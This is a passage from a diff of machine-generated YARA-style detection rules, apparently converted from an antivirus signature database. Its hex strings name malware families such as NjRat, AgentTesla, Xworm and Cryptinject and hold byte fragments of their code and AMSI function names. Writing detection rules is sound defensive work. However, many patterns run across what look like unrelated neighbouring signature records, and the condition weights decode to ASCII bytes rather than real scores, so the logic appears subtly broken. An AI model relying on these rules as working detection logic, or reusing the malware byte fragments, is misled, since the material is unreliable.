6f 61 64 65 72 2e 4b 44 44 58 31 32 33 21 4d 54 42 00 01 00 19 81 01 70 61 72 61 6d 65 6e 69 61 20 6b 75 6c 64 20 6d } //���f��u� -511 + $a_65_2 = {77 6f 72 6b 01 00 08 81 01 66 61 72 65 73 6f 65 6e 01 00 18 81 01 74 69 6c 6d 65 6c 64 65 20 66 6f 6e 64 73 73 79 73 74 65 6d 65 72 6e 65 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 46 31 32 33 21 4d 54 42 00 01 00 20 81 01 73 6f 6c 64 61 74 65 72 62 6f 67 73 20 61 6e 69 6c 69 6e } //29537 condition: - ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*-511+(#a_20_2 & 1)*26988) >=3 + ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*-511+(#a_65_2 & 1)*29537) >=3 } -rule _InfrastructureShared_7078{ +rule _InfrastructureShared_7484{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 54 30 31 21 4d 54 42 00 01 00 22 81 01 6b 76 69 76 61 6c 65 6e 74 73 20 6c 6f 72 64 6c 69 6c 79 20 62 61 6c 6b 61 76 61 6c 65 72 65 72 6e 65 01 00 11 81 01 73 65 6d 69 73 65 63 6f 6e 64 61 72 79 } //18467 + $a_65_1 = {00 08 81 01 74 69 6e 67 67 69 61 6e 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 58 31 32 33 21 4d 54 42 00 01 00 19 81 01 70 61 72 61 6d 65 6e 69 61 20 6b 75 6c 64 20 6d 61 73 74 65 72 77 6f 72 6b 01 00 08 81 01 66 61 72 65 73 6f 65 6e 01 00 18 81 01 74 69 6c 6d 65 6c 64 65 20 66 6f 6e 64 73 } //25902 + $a_74_2 = {6d 65 72 6e 65 00 00 78 72 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 46 31 32 33 21 4d 54 42 00 01 00 20 81 01 73 6f 6c 64 61 74 65 72 62 6f 67 73 20 61 6e 69 6c 69 6e 20 76 69 64 65 72 65 66 72 65 6e 64 65 01 00 12 81 01 68 6f 6c 73 74 73 20 70 6f 6c 79 7a 6f 61 72 69 75 6d 01 00 07 81 } //31091 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25902+(#a_74_2 & 1)*31091) >=3 + +} +rule _InfrastructureShared_7485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74144,7 +78456,7 @@ rule _InfrastructureShared_7078{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*8293+(#a_73_2 & 1)*29548) >=3 } -rule _InfrastructureShared_7079{ +rule _InfrastructureShared_7486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74156,7 +78468,7 @@ rule _InfrastructureShared_7079{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29281+(#a_61_2 & 1)*25966) >=3 } -rule _InfrastructureShared_7080{ +rule _InfrastructureShared_7487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74168,7 +78480,7 @@ rule _InfrastructureShared_7080{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25963+(#a_6b_2 & 1)*-32498) >=3 } -rule _InfrastructureShared_7081{ +rule _InfrastructureShared_7488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74180,7 +78492,7 @@ rule _InfrastructureShared_7081{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*-32498+(#a_6e_2 & 1)*27760) >=3 } -rule _InfrastructureShared_7082{ +rule _InfrastructureShared_7489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74192,7 +78504,7 @@ rule _InfrastructureShared_7082{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30050+(#a_61_2 & 1)*24943) >=3 } -rule _InfrastructureShared_7083{ +rule _InfrastructureShared_7490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74204,7 +78516,7 @@ rule _InfrastructureShared_7083{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25711+(#a_65_2 & 1)*24933) >=3 } -rule _InfrastructureShared_7084{ +rule _InfrastructureShared_7491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74216,7 +78528,7 @@ rule _InfrastructureShared_7084{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25965+(#a_5f_2 & 1)*28517) >=3 } -rule _InfrastructureShared_7085{ +rule _InfrastructureShared_7492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74228,7 +78540,7 @@ rule _InfrastructureShared_7085{ ((#a_46_0 & 1)*21283+(#a_76_1 & 1)*5376+(#a_7a_2 & 1)*29472) >=3 } -rule _InfrastructureShared_7086{ +rule _InfrastructureShared_7493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74239,7 +78551,7 @@ rule _InfrastructureShared_7086{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*105) >=3 } -rule _InfrastructureShared_7087{ +rule _InfrastructureShared_7494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -74251,7 +78563,7 @@ rule _InfrastructureShared_7087{ ((#a_5f_0 & 1)*25635+(#a_48_1 & 1)*8448+(#a_6c_2 & 1)*24436) >=3 } -rule _InfrastructureShared_7088{ +rule _InfrastructureShared_7495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -74263,7 +78575,7 @@ rule _InfrastructureShared_7088{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*26369+(#a_6c_3 & 1)*23) >=3 } -rule _InfrastructureShared_7089{ +rule _InfrastructureShared_7496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -74276,7 +78588,7 @@ rule _InfrastructureShared_7089{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*20590+(#a_65_2 & 1)*28530+(#a_89_3 & 1)*1027) >=3 } -rule _InfrastructureShared_7090{ +rule _InfrastructureShared_7497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -74287,7 +78599,7 @@ rule _InfrastructureShared_7090{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29541) >=4 } -rule _InfrastructureShared_7091{ +rule _InfrastructureShared_7498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -74299,7 +78611,7 @@ rule _InfrastructureShared_7091{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-544+(#a_72_2 & 1)*0) >=4 } -rule _InfrastructureShared_7092{ +rule _InfrastructureShared_7499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -74311,7 +78623,7 @@ rule _InfrastructureShared_7092{ ((#a_77_0 & 1)*16675+(#a_72_1 & 1)*0+(#a_48_3 & 1)*8448) >=4 } -rule _InfrastructureShared_7093{ +rule _InfrastructureShared_7500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -74324,7 +78636,7 @@ rule _InfrastructureShared_7093{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28520+(#a_65_2 & 1)*29545+(#a_35_3 & 1)*11886) >=4 } -rule _InfrastructureShared_7094{ +rule _InfrastructureShared_7501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -74337,7 +78649,7 @@ rule _InfrastructureShared_7094{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28530+(#a_2e_2 & 1)*26999+(#a_63_3 & 1)*29281) >=4 } -rule _InfrastructureShared_7095{ +rule _InfrastructureShared_7502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -74350,7 +78662,7 @@ rule _InfrastructureShared_7095{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28015+(#a_62_2 & 1)*22273+(#a_54_3 & 1)*21076) >=4 } -rule _InfrastructureShared_7096{ +rule _InfrastructureShared_7503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -74362,7 +78674,7 @@ rule _InfrastructureShared_7096{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*45+(#a_30_3 & 1)*13056) >=4 } -rule _InfrastructureShared_7097{ +rule _InfrastructureShared_7504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -74374,21 +78686,21 @@ rule _InfrastructureShared_7097{ ((#a_77_0 & 1)*19491+(#a_48_1 & 1)*8448+(#a_69_3 & 1)*384) >=4 } -rule _InfrastructureShared_7098{ +rule _InfrastructureShared_7505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : $a_54_0 = {3a 50 72 6f 63 65 73 73 53 74 6f 70 2e 41 00 01 00 0e 80 01 61 67 6e 74 73 76 63 61 67 6e 74 73 76 63 01 00 0d 80 01 66 69 72 65 66 6f 78 63 6f 6e 66 69 67 01 00 05 80 01 6f 63 73 73 64 01 00 09 80 01 78 66 73 73 76 63 63 6f 6e 01 00 08 80 01 6d 73 } //18467 $a_73_1 = {6c 01 00 06 80 01 64 62 73 6e 6d 70 00 00 78 72 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 6a 52 61 74 2e 4e 45 55 21 4d 54 42 00 05 00 45 01 66 8b 17 fe c1 66 8b 4f 02 0f bb e8 81 ef 02 00 00 00 d3 e0 66 0f ba f8 dc 66 98 66 03 d1 0f b7 c3 66 f7 d0 66 89 57 04 } //29798 - $a_c5_2 = {8f 07 66 8b c7 81 ed 04 00 00 00 13 c7 8b 44 25 00 33 c3 e9 17 a8 0e 00 00 00 78 72 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 47 43 21 4d 54 42 00 02 00 2e 03 0f 42 d8 f6 c1 7f b9 90 01 04 89 5d a0 0f 95 c1 0f b6 db f6 c3 7f 89 5d a8 b8 90 01 04 0f 95 c0 03 c8 8b 45 9c c1 e8 07 03 c8 8b c3 90 00 03 00 0f 01 4e 59 47 70 75 4b 4b 69 55 37 3f } //-22352 - $a_74_3 = {00 78 72 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 63 72 6f 77 65 6d 00 01 00 13 00 4b 73 4f 70 65 6e 44 65 66 61 75 6c 74 44 65 76 69 63 65 01 00 0f 00 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 10 01 1a 50 0d 3c 0b 14 d1 11 b4 0f 00 a0 c9 22 31 96 02 00 0c 23 68 07 } //12379 - $a_90_5 = {00 00 78 72 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 4d 53 } //-240 + $a_c5_2 = {8f 07 66 8b c7 81 ed 04 00 00 00 13 c7 8b 44 25 00 33 c3 e9 17 a8 0e 00 00 00 78 72 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 77 6f 72 6d 2e 50 47 58 21 4d 54 42 00 05 00 45 01 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 41 f6 c2 01 75 32 49 39 c9 77 2d 4c 89 c8 49 0f af c1 48 39 c8 7f 21 4d 39 c1 41 0f 97 c2 49 39 c9 4d 89 cb 49 83 d3 00 48 89 c8 31 d2 49 f7 f1 4d 89 d9 48 } //-22352 + $a_c8_3 = {00 78 72 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 63 72 6f 77 65 6d 00 01 00 13 00 4b 73 4f 70 65 6e 44 65 66 61 75 6c 74 44 65 76 69 63 65 01 00 0f 00 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 10 01 1a 50 0d 3c 0b 14 d1 11 b4 0f 00 a0 c9 22 31 96 02 00 0c 23 68 07 00 2f 00 [0-10] ff 15 } //-11643 + $a_72_4 = {00 05 00 05 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 51 75 69 6c 74 72 61 6e 2e 48 00 02 00 13 01 00 4e 61 67 61 2e 65 78 65 00 3c 4d 6f 64 75 6c 65 3e 00 01 00 10 01 00 41 6d 73 69 49 6e 69 74 69 61 6c 69 7a 65 00 01 00 10 01 00 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 00 01 00 10 01 00 41 6d 73 69 53 63 61 6e 53 74 72 69 6e 67 00 00 00 78 72 00 00 05 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29798+(#a_c5_2 & 1)*-22352+(#a_74_3 & 1)*12379+(#a_90_5 & 1)*-240) >=4 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29798+(#a_c5_2 & 1)*-22352+(#a_c8_3 & 1)*-11643+(#a_72_4 & 1)*0) >=4 } -rule _InfrastructureShared_7099{ +rule _InfrastructureShared_7506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -74398,18 +78710,17 @@ rule _InfrastructureShared_7099{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_7100{ +rule _InfrastructureShared_7507{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6e 76 61 67 65 6e 74 2e 50 47 43 21 4d 54 42 00 02 00 2e 03 0f 42 d8 f6 c1 7f b9 90 01 04 89 5d a0 0f 95 c1 0f b6 db f6 c3 7f 89 5d a8 b8 90 01 04 0f 95 c0 03 c8 } //21539 - $a_c1_1 = {07 03 c8 8b c3 90 00 03 00 0f 01 4e 59 47 70 75 4b 4b 69 55 37 3f 5b 30 6b 74 00 00 78 72 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 63 72 6f 77 65 6d 00 01 00 13 00 4b 73 4f 70 65 6e 44 65 66 61 75 6c 74 44 65 76 69 63 65 01 00 0f 00 44 65 76 69 63 65 49 6f 43 6f 6e 74 72 6f 6c 01 00 10 01 1a 50 0d 3c 0b 14 d1 11 b4 0f 00 a0 c9 22 31 96 02 00 0c 23 68 07 00 2f 00 90 02 10 ff 15 90 00 00 00 78 72 00 00 05 00 05 00 04 00 } //17803 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 77 6f 72 6d 2e 50 47 58 21 4d 54 42 00 05 00 45 01 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 41 f6 c2 01 75 32 49 39 c9 77 2d 4c 89 c8 49 0f af c1 48 39 c8 7f 21 4d 39 } //21539 condition: - ((#a_4c_0 & 1)*21539+(#a_c1_1 & 1)*17803) >=5 + ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_7101{ +rule _InfrastructureShared_7508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -74421,7 +78732,7 @@ rule _InfrastructureShared_7101{ ((#a_46_0 & 1)*16675+(#a_02_2 & 1)*12578+(#a_61_3 & 1)*14930) >=5 } -rule _InfrastructureShared_7102{ +rule _InfrastructureShared_7509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -74434,7 +78745,7 @@ rule _InfrastructureShared_7102{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*1+(#a_66_2 & 1)*28508+(#a_00_3 & 1)*21581) >=5 } -rule _InfrastructureShared_7103{ +rule _InfrastructureShared_7510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -74448,7 +78759,7 @@ rule _InfrastructureShared_7103{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2573+(#a_6e_2 & 1)*22273+(#a_01_3 & 1)*4096+(#a_73_4 & 1)*26217) >=5 } -rule _InfrastructureShared_7104{ +rule _InfrastructureShared_7511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -74460,7 +78771,7 @@ rule _InfrastructureShared_7104{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*25206+(#a_03_2 & 1)*25441) >=6 } -rule _InfrastructureShared_7105{ +rule _InfrastructureShared_7512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -74473,7 +78784,7 @@ rule _InfrastructureShared_7105{ ((#a_77_0 & 1)*19491+(#a_64_1 & 1)*8448+(#a_00_2 & 1)*66+(#a_61_3 & 1)*28530) >=6 } -rule _InfrastructureShared_7106{ +rule _InfrastructureShared_7513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -74486,7 +78797,7 @@ rule _InfrastructureShared_7106{ ((#a_5f_0 & 1)*25635+(#a_41_1 & 1)*8448+(#a_9d_3 & 1)*-15567+(#a_d0_4 & 1)*257) >=6 } -rule _InfrastructureShared_7107{ +rule _InfrastructureShared_7514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -74497,7 +78808,7 @@ rule _InfrastructureShared_7107{ ((#a_46_0 & 1)*16675+(#a_c3_1 & 1)*18037) >=7 } -rule _InfrastructureShared_7108{ +rule _InfrastructureShared_7515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -74508,7 +78819,7 @@ rule _InfrastructureShared_7108{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*4048) >=7 } -rule _InfrastructureShared_7109{ +rule _InfrastructureShared_7516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -74519,7 +78830,7 @@ rule _InfrastructureShared_7109{ ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*9634) >=7 } -rule _InfrastructureShared_7110{ +rule _InfrastructureShared_7517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -74531,19 +78842,29 @@ rule _InfrastructureShared_7110{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_72_2 & 1)*0) >=7 } -rule _InfrastructureShared_7111{ +rule _InfrastructureShared_7518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 47 61 62 70 61 74 68 00 01 00 17 03 80 3e 3f 75 90 01 01 68 ff 07 00 00 8d 90 01 01 01 90 01 01 8d 90 00 01 00 0b 01 2f 75 70 64 2e 70 68 70 3f 66 3d 02 00 09 01 2f 66 62 63 6b 2e 70 68 70 05 00 18 01 2f 68 69 64 65 20 2f 74 6b 65 79 3a 25 73 20 2f 74 6c 6f 63 6b 3a 25 73 } //16675 - $a_72_1 = {00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 39 21 4d 54 42 00 0a 00 3e 02 20 00 64 00 00 8d 90 01 04 0c 28 90 01 04 0d 16 13 04 2b 90 01 01 00 16 13 05 2b 90 01 01 00 09 11 04 11 05 6f 90 01 04 13 06 09 11 04 11 05 6f 90 01 04 13 07 90 02 04 02 11 07 28 90 00 00 00 78 72 00 00 0a } //0 - $a_48_3 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 45 4c 21 4d 54 42 00 } //8448 + $a_72_1 = {00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 43 72 79 70 74 69 6e 6a 65 63 74 2e 51 44 21 4d 54 42 00 0a 00 47 03 a2 09 19 72 dc 00 00 70 a2 09 1a 08 6f 90 01 03 0a a2 09 1b 72 dc 00 00 70 a2 09 1c 08 6f 90 01 03 0a a2 09 1d 72 dc 00 00 70 a2 09 1e 08 6f 90 01 03 0a 8c 0e 00 00 01 a2 09 28 90 01 03 0a 6f 90 01 03 0a 2a 90 00 00 00 78 72 00 00 0a } //0 + $a_48_3 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 35 39 21 4d 54 42 } //8448 TR:Trojan:MSIL/AgentTesla.AM359!MTB condition: ((#a_77_0 & 1)*16675+(#a_72_1 & 1)*0+(#a_48_3 & 1)*8448) >=8 } -rule _InfrastructureShared_7112{ +rule _InfrastructureShared_7519{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 43 72 79 70 74 69 6e 6a 65 63 74 2e 51 44 21 4d 54 42 00 0a 00 47 03 a2 09 19 72 dc 00 00 70 a2 09 1a 08 6f 90 01 03 0a a2 09 1b 72 dc 00 00 70 a2 09 1c 08 6f 90 01 03 0a a2 09 1d 72 dc 00 00 70 a2 09 1e 08 6f 90 01 03 0a 8c 0e 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=10 + +} +rule _InfrastructureShared_7520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -74553,7 +78874,7 @@ rule _InfrastructureShared_7112{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7113{ +rule _InfrastructureShared_7521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -74563,7 +78884,7 @@ rule _InfrastructureShared_7113{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7114{ +rule _InfrastructureShared_7522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -74573,7 +78894,7 @@ rule _InfrastructureShared_7114{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7115{ +rule _InfrastructureShared_7523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -74583,7 +78904,17 @@ rule _InfrastructureShared_7115{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7116{ +rule _InfrastructureShared_7524{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 6e 6f 6f 6e 2e 53 53 21 4d 54 42 00 0a 00 45 03 0d 2b 43 00 09 6c 23 90 02 07 40 5a 0e 05 6c 5b 28 90 01 03 0a 02 5a 13 04 06 7b 90 01 03 04 09 11 04 23 90 01 07 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_7525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -74595,7 +78926,7 @@ rule _InfrastructureShared_7116{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*-28544+(#a_00_2 & 1)*144) >=11 } -rule _InfrastructureShared_7117{ +rule _InfrastructureShared_7526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -74607,7 +78938,7 @@ rule _InfrastructureShared_7117{ ((#a_54_0 & 1)*18467+(#a_e0_1 & 1)*2+(#a_33_2 & 1)*400) >=11 } -rule _InfrastructureShared_7118{ +rule _InfrastructureShared_7527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -74620,7 +78951,7 @@ rule _InfrastructureShared_7118{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*13060+(#a_6e_2 & 1)*281+(#a_48_3 & 1)*8448) >=11 } -rule _InfrastructureShared_7119{ +rule _InfrastructureShared_7528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -74633,7 +78964,7 @@ rule _InfrastructureShared_7119{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*16717+(#a_67_2 & 1)*24908+(#a_91_3 & 1)*1800) >=12 } -rule _InfrastructureShared_7120{ +rule _InfrastructureShared_7529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -74645,7 +78976,7 @@ rule _InfrastructureShared_7120{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31059+(#a_65_2 & 1)*25167) >=15 } -rule _InfrastructureShared_7121{ +rule _InfrastructureShared_7530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 04 00 21 " @@ -74658,7 +78989,7 @@ rule _InfrastructureShared_7121{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*22132+(#a_02_2 & 1)*10+(#a_72_3 & 1)*0) >=17 } -rule _InfrastructureShared_7122{ +rule _InfrastructureShared_7531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -74669,7 +79000,7 @@ rule _InfrastructureShared_7122{ ((#a_46_0 & 1)*16675+(#a_18_1 & 1)*6148) >=20 } -rule _InfrastructureShared_7123{ +rule _InfrastructureShared_7532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 21 " @@ -74681,7 +79012,7 @@ rule _InfrastructureShared_7123{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*1885+(#a_01_2 & 1)*0) >=20 } -rule _InfrastructureShared_7124{ +rule _InfrastructureShared_7533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -74692,7 +79023,7 @@ rule _InfrastructureShared_7124{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112) >=300 } -rule _InfrastructureShared_7125{ +rule _InfrastructureShared_7534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74702,7 +79033,7 @@ rule _InfrastructureShared_7125{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7126{ +rule _InfrastructureShared_7535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74712,7 +79043,7 @@ rule _InfrastructureShared_7126{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7127{ +rule _InfrastructureShared_7536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74722,7 +79053,7 @@ rule _InfrastructureShared_7127{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7128{ +rule _InfrastructureShared_7537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74732,7 +79063,7 @@ rule _InfrastructureShared_7128{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7129{ +rule _InfrastructureShared_7538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74742,7 +79073,7 @@ rule _InfrastructureShared_7129{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7130{ +rule _InfrastructureShared_7539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -74752,7 +79083,7 @@ rule _InfrastructureShared_7130{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7131{ +rule 